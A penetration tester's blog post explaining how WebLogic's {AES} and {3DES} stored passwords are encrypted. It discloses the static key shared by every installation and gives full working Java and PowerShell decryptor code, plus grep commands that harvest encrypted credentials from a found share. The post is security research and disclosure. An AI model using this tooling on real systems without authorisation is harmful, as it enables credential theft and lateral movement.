Decrypting WebLogic Passwords
The following blog walks through part of a recent penetration test and the the decryption process for WebLogic passwords that came out of it. Using these passwords I was able to escalate onto other systems and Oracle databases. If you just want code and examples to perform this yourself, head here: https://github.com/NetSPI/WebLogicPasswordDecryptor.
Introduction
Recently on an internal penetration test I came across a couple of Linux servers with publicly accessible Samba shares. Often times, open shares contain something interesting. Whether it be user credentials or sensitive information, and depending on the client, open shares will contain something useful. In this instance, one of the shares contained a directory named “wls1035”. Going through the various acronyms in my head for software, this could either be Windows Live Spaces or WebLogic Server. Luckily it was the later and not Microsoft’s failed blogging platform.
WebLogic is an application server from Oracle for serving up enterprise Java applications. I was somewhat familiar with it, as I do see it time to time in enterprise environments, but I’ve never actually installed it or taken a look at its file structure. At this point I started to poke around the files to see if I could find anything useful, such as credentials. Doing a simple grep search for “password” revealed a whole lot of information. (This is not actual client data)
user@box:~/wls1035# grep -R "password" * Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom: <!-- and password for your server here. --> user_projects/domains/mydomain/bin/startManagedWebLogic.sh:# to your system password for no username and password prompt user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW - cleartext password for server shutdown user_projects/domains/mydomain/bin/stopWebLogic.sh: if [ "${password}" != "" ] ; then user_projects/domains/mydomain/bin/stopWebLogic.sh: wlsPassword="${password}" user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" >>"shutdown-${SERVER_NAME}.py" user_projects/domains/mydomain/bin/startWebLogic.sh: JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}" user_projects/domains/mydomain/bin/startWebLogic.sh:echo "* password assigned to an admin-level user. For *" user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: if [ -n "$username" -a -n "$password" ]; then user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: print_info "Investigating username: '$username' and password: '$password'" user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: echo "password=$password" >>"$NMBootFile.tmp" user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: unset username password user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh: echo "password=$Password" >>"$NMBootFile.tmp" user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password> user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">
There weren’t any cleartext passwords, but there were encrypted ones in the same style as this: {AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=
I then narrowed down my search to see if I could find more of these passwords. This was the result:
user@box:~/wls1035# grep -R "{AES}" * user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password> user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."> user_projects/domains/mydomain/init-info/security.xml: <user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A="> user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY= user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts= user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL</credential-encrypted> user_projects/domains/mydomain/config/config.xml: <node-manager-password-encrypted>{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=</node-manager-password-encrypted> user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C</credential-encrypted>
There were a lot of encrypted passwords and that fueled my need to know what they contain. Doing a simple base64 decode didn’t reveal anything, but I didn’t expect it to, based on each string being prepended with {AES}. In older versions of WebLogic the encryption algorithm is 3DES (Triple DES) which has a format similar to this: {3DES}JMRazF/vClP1WAgy1czd2Q== . This must mean there was a key that was used for encrypting, which means the same key is used for decrypting. To properly test all of this, I needed to install my own WebLogic server.
WebLogic is free from Oracle and is located here. For this blog I am using version 12.1.3. Installing WebLogic can be a chore in and of itself and I won’t be covering it. One take away from the installation is configuring a new domain. This shouldn’t be confused with Windows domain. Quoting the WebLogic documentation, “A domain is the basic administration unit for WebLogic Server instances.” Every domain contains security information. This can be seen in the grep command from above. All the file paths that contain encrypted passwords are within the mydomain directory.
Now that I had my own local WebLogic server installed, it was time to find out how to decrypt the passwords. Some quick googling resulted in a few Python scripts that could do the job. Interestingly enough, WebLogic comes with a scripting tool called WLST (WebLogic Scripting Tool) that allows Python to run WebLogic methods. This includes encryption and decryption methods. We can also run it standalone to just encrypt:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST Initializing WebLogic Scripting Tool (WLST) ... Welcome to WebLogic Server Administration Scripting Shell Type help() for help on available commands wls:/offline> pw = encrypt('password') wls:/offline> print pw {AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=
To decrypt, I used the following python script from Oracle.
import os import weblogic.security.internal.SerializedSystemIni import weblogic.security.internal.encryption.ClearOrEncryptedService def decrypt(agileDomain, encryptedPassword): agileDomainPath = os.path.abspath(agileDomain) encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath) ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv) password = ces.decrypt(encryptedPassword) print "Plaintext password is:" + password try: if len(sys.argv) == 3: decrypt(sys.argv[1], sys.argv[2]) else: print "Please input arguments as below" print " Usage 1: java weblogic.WLST decryptWLSPwd.py " print " Usage 2: decryptWLSPwd.cmd " print "Example:" print " java weblogic.WLST decryptWLSPwd.py C:AgileAgile933agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs=" print " decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs=" except: print "Exception: ", sys.exc_info()[0] dumpStack() raise
To test this script I needed to use an encrypted password from my newly installed WebLogic server. Using the same grep command from above returns the same number of results:
root@kali:~/wls12130# grep -R "{AES}" * user_projects/domains/mydomain/init-info/config-nodemanager.xml: <nod:password>{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=</nod:password> user_projects/domains/mydomain/init-info/security.xml: <user name="OracleSystemUser" password="{AES}gTRFf+pONckQsJ55zXOw5JPfcsdNTC0lAURre/3zK0Q=" description="Oracle application software system user."> user_projects/domains/mydomain/init-info/security.xml: <user name="netspi" password="{AES}Dm/Kp/TkdGwaikv3QD40UBhFQQAVtfbEXEwRjR0RpHc="> user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}0WDnHP4OC5iVBze+EQ2JKGgtUb8K1mMK8QbtSTgKq+Y= user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}OGs2ujN70+atq9F70xqXxFQ11CD5mGuxuekNJbRGJqM= user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}KKGUxV84asQMrbq74ap373LNnzsXbchoJKu8IxecSlZmXCrnBrb+6hr8Z8bOCIHTSKXSl9myvwYQ2cXQ7klCF7wxqlkf0oOHw2VaFdFtlNAY1TuFGmkByRW4xaV2ITSo</credential-encrypted> user_projects/domains/mydomain/config/config.xml: <node-manager-password-encrypted>{AES}mY78lCyPd5GmgEf7v5qYTQvowjxAo4m8SwRI7rJJktw=</node-manager-password-encrypted> user_projects/domains/mydomain/config/config.xml: <credential-encrypted>{AES}/0yRcu56nfpxO+aTceqBLf3jyYdYR/j1+t4Dz8ITAcoAfsKQmYgJv1orfpNHugPM</credential-encrypted>
Taking the first encrypted password and throwing it into the Python script did indeed return the cleartext password for my newly created domain:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST decrypt.py . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=" Initializing WebLogic Scripting Tool (WLST) ... Welcome to WebLogic Server Administration Scripting Shell Type help() for help on available commands Plaintext password is:Password1
The only problem is, we had to be attached to WebLogic to get it. I want to be able to decrypt passwords without having to run scripts through WebLogic.
Down the Rabbit Hole
My first steps in figuring out how passwords are both encrypted and decrypted was to look at the Python script we obtained and see what libraries the script is calling. The first thing it does import the following:
import weblogic.security.internal.SerializedSystemIni import weblogic.security.internal.encryption.ClearOrEncryptedService
It then makes the following method calls within the decrypt function:
encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath) ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv) password = ces.decrypt(encryptedPassword)
The first line takes the path of the domain as a parameter. In our case, the domain path is /root/wls12130/user_projects/domains/mydomain . What the weblogic.security.internal.SerializedSystemIni.getEncryptionService call does next is look for the SerializedSystemIni.dat file within the security directory. The SerializedSystemIni.dat file contains the salt and encryption keys for encrypting and decrypting passwords. It’s read byte-by-byte in a specific order. Here’s a pseudocode version of what’s going on along with an explanation for each line.
file = “SerializedSystemIni.dat” numberofbytes = file.ReadByte() salt = file.ReadBytes(byte) encryptiontype = file.ReadByte() numberofbytes = file.ReadByte() encryptionkey = file.ReadBytes(numberofbytes) if encryptiontype == AES then numberofbytes = file.ReadByte() encryptionkey = file.ReadBytes(numberofbytes)
- The first thing that happens is the first byte of the file is read. That byte is an integer for the number of bytes in the salt.
- The salt portion is then read up to the amount of bytes that were specified in the byte variable.
- The next byte is then read, which is assigned to the encryptiontype variable.
- Then the next byte is read, which is another integer for how many bytes should be read for the encryptionkey.
- The bytes for the encryptionkey are read.
- Now, if the encryptiontype is equal to AES, we go into the if statement block.
- The next byte is read, which is the number of bytes in the encryptionkey.
- The bytes for the encryptionkey are read.
As I noted before, WebLogic uses two encryption algorithms depending on the release. These are 3DES and AES. This is where the two encryption keys come into play from above. If 3DES is in use, the first encryption key is used. If AES is used, the second encryption key is used.
After doing a little bit of searching, I figured out that BouncyCastle is the library that is performing all the crypto behind the scenes. The next step is to start implementing the decryption ourselves. We have at least some idea of what is going on under the hood. For now, we will just focus on the AES decryption portion instead of 3DES. I’m not terribly familiar with BouncyCastle or Java crypto implementation, so I did some googling on how to implement AES decryption with it. The result is the following snippet of code:
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec); byte[] cleartext = outCipher.doFinal(encryptedPassword);
This code is promising, but unfortunately doesn’t work. We don’t know what the IV is and using the encryption key as the SecretKeySpec won’t work because it’s not the correct type. Plus we have this salt that is probably used somewhere. After many hours of digging I figured out that the IV happens to be the first 16 bytes of the base64 decoded ciphertext and the encrypted password is the last 16 bytes. I made an educated guess that the salt is probably part of the PBEParameterSpec, because the first parameter in the documentation for it is a byte array named salt. The encryption key that we have also happens to be encrypted itself. So now we have to decrypt the encryption key and then use that to decrypt the password. I found very few examples of this type of encryption process, but after more time I was finally able to put the following code together:
PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0); Cipher cipher = Cipher.getInstance(algorithm); cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec); SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionkey), "AES"); byte[] iv = new byte[16]; System.arraycopy(encryptedPassword1, 0, iv, 0, 16); byte[] encryptedPassword2 = new byte[16]; System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec,ivParameterSpec); byte[] cleartext = outCipher.doFinal(encryptedPassword2);
So now we have a decryption process for the encryption key, but we don’t know the key that decrypts it that or the algorithm that is being used.
I found that WebLogic uses this algorithm PBEWITHSHAAND128BITRC2-CBC and the key that is being used happens to be static across every installation of WebLogic, which is the following:
0xccb97558940b82637c8bec3c770f86fa3a391a56
Now we can fix our code up a bit. Looking through examples of password based encryption in BouncyCastle, this seemed to maybe be right.
SecretKeyFactory keyFact = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC"); PBEKeySpec pbeKeySpec = new PBEKeySpec(password,salt,iterations); SecretKey secretKey = keyFact.generateSecret(pbeKeySpec);
The PBEKeySpec takes a password, salt, and iteration count. The password will be our static key string, but we have to convert it to a char array first. The second is our salt, which we already know. The third is an iteration count, which we do not know. The iteration count happens to be five. I actually just wrote a wrapper around the method and incremented values until I got a successful result.
Here is our final code:
public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException { byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext); byte[] salt = null; byte[] encryptionKey = null; String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56"; char password[] = new char[key.length()]; key.getChars(0, password.length, password, 0); FileInputStream is = new FileInputStream(SerializedSystemIni); try { salt = readBytes(is); int version = is.read(); if (version != -1) { encryptionKey = readBytes(is); if (version >= 2) { encryptionKey = readBytes(is); } } } catch (IOException e) { } SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC"); PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5); SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec); PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0); Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC"); cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec); SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES"); byte[] iv = new byte[16]; System.arraycopy(encryptedPassword1, 0, iv, 0, 16); byte[] encryptedPassword2 = new byte[16]; System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); byte[] cleartext = outCipher.doFinal(encryptedPassword2); return new String(cleartext, "UTF-8"); }
We run this with our SerializedSystemIni.dat file as the first argument and the encrypted password as the second without the prepended {AES}. The result returns our password!
As an exercise, I wanted to do this without having to touch Java ever again. So I decided to try it in PowerShell, everyone’s favorite pentest scripting. BouncyCastle provides a DLL that we can use to perform the decryption. We just have to use reflection within the PowerShell code to call the methods. The result is the following PowerShell code:
<# Author: Eric Gruber 2015, NetSPI .Synopsis PowerShell script to decrypt WebLogic passwords .EXAMPLE Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q==" .EXAMPLE Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" #> function Invoke-WebLogicPasswordDecryptor { [CmdletBinding()] Param ( [Parameter(Mandatory = $true, Position = 0)] [String] $SerializedSystemIni, [Parameter(Mandatory = $true, Position = 0)] [String] $CipherText, [Parameter(Mandatory = $false, Position = 0)] [String] $BouncyCastle ) if (!$BouncyCastle) { $BouncyCastle = '.BouncyCastle.Crypto.dll' } Add-Type -Path $BouncyCastle $Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56' $Pass = $Pass.ToCharArray() if ($CipherText.StartsWith('{AES}')) { $CipherText = $CipherText.TrimStart('{AES}') } elseif ($CipherText.StartsWith('{3DES}')) { $CipherText = $CipherText.TrimStart('{3DES}') } $DecodedCipherText = [System.Convert]::FromBase64String($CipherText) $BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)) $NumberOfBytes = $BinaryReader.ReadByte() $Salt = $BinaryReader.ReadBytes($NumberOfBytes) $Version = $BinaryReader.ReadByte() $NumberOfBytes = $BinaryReader.ReadByte() $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes) if ($Version -ge 2) { $NumberOfBytes = $BinaryReader.ReadByte() $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes) $ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText } else { $ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText } Write-Host "Password:" $ClearText } function Decrypt-AES { param ( [byte[]] $Salt, [byte[]] $EncryptionKey, [char[]] $Pass, [byte[]] $DecodedCipherText ) $EncryptionCipher = 'AES/CBC/PKCS5Padding' $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC' $IV = New-Object -TypeName byte[] -ArgumentList 16 [array]::Copy($DecodedCipherText,0,$IV, 0 ,16) $CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16) [array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16)) $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5) $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters) $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher) $KeyCipher.Init($false, $CipherParameters) $Key = $KeyCipher.DoFinal($EncryptionKey) $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher) $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV) $Cipher.Init($false, $ParametersWithIV) $ClearText = $Cipher.DoFinal($CipherText) [System.Text.Encoding]::ASCII.GetString($ClearText) } function Decrypt-3DES { param ( [byte[]] $Salt, [byte[]] $EncryptionKey, [char[]] $Pass, [byte[]] $DecodedCipherText ) $EncryptionCipher = 'DESEDE/CBC/PKCS5Padding' $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC' $IV = New-Object -TypeName byte[] -ArgumentList 8 [array]::Copy($Salt,0,$IV, 0 ,4) [array]::Copy($Salt,0,$IV, 4 ,4) $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5) $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters) $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher) $KeyCipher.Init($false, $CipherParameters) $Key = $KeyCipher.DoFinal($EncryptionKey) $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher) $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV) $Cipher.Init($false, $ParametersWithIV) $ClearText = $Cipher.DoFinal($DecodedCipherText) [System.Text.Encoding]::ASCII.GetString($ClearText) } Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor
I also added the ability to decrypt 3DES for older versions of WebLogic. Here’s the result:
PS C:> Import-Module .Invoke-WebLogicDecrypt.psm1 PS C:> Invoke-WebLogicDecrypt -SerializedSystemIni "C:SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ=" Password1
Speaking of 3DES, if you do have a newer version of WebLogic that uses AES, you can change it back to 3DES by modifying the SerializedSystemIni.dat file. A newer one will have 02 set for the 6th byte:
Which outputs the following in WLST
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST Initializing WebLogic Scripting Tool (WLST) ... Welcome to WebLogic Server Administration Scripting Shell Type help() for help on available commands wls:/offline> pw = encrypt('password') wls:/offline> print pw {AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=
Changing it to 01 will enable 3DES:
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST Initializing WebLogic Scripting Tool (WLST) ... Welcome to WebLogic Server Administration Scripting Shell Type help() for help on available commands wls:/offline> pw = encrypt("Password1") wls:/offline> print pw {3DES}vNxF1kIDgtydLoj5offYBQ==
Conclusion
The penetration test revealed three big issues. The use of a static key for encryption, installing WebLogic on an SMB share, and allowing anonymous users read access to the share. The static key is something that users don’t control. I downloaded several versions of WebLogic and this is static across all of them. So if you have access to the SerializedSystemIni.dat file and have some encrypted passwords, it’s possible to decrypt them all, Muahaha!!! This all depends on whether or not you have access to the WebLogic installation directory. This leads to the next issue which is installing applications in a share. Installing any application in a share is risky in itself, but not securing that share can lead to catastrophic consequences. In the penetration test, after copying down the SerializedSystemIni.dat, I could now decrypt all the encrypted passwords from my initial grep. These were local user passwords and Oracle database passwords. Everything you need for lateral movement within an environment, all from anonymous access to a share.
Explore more blog posts
Bytes, Books, and Blockbusters: The NetSPI Agents’ Top Cybersecurity Fiction Picks
Craving a cybersecurity movie marathon? Get recommendations from The NetSPI Agents on their favorite media to get inspired for ethical hacking.
Social Engineering Stories: One Phish, Two Vish, and Tips for Stronger Defenses
Hear real-world social engineering stories from The NetSPI Agents and tips to enhance your social engineering testing.
Hacking CICS: 7 Ways to Defeat Mainframe Applications
Explore how modern penetration testing tools uncover vulnerabilities in mainframe applications, highlighting the need for methodical techniques and regular testing to protect these critical systems from threats.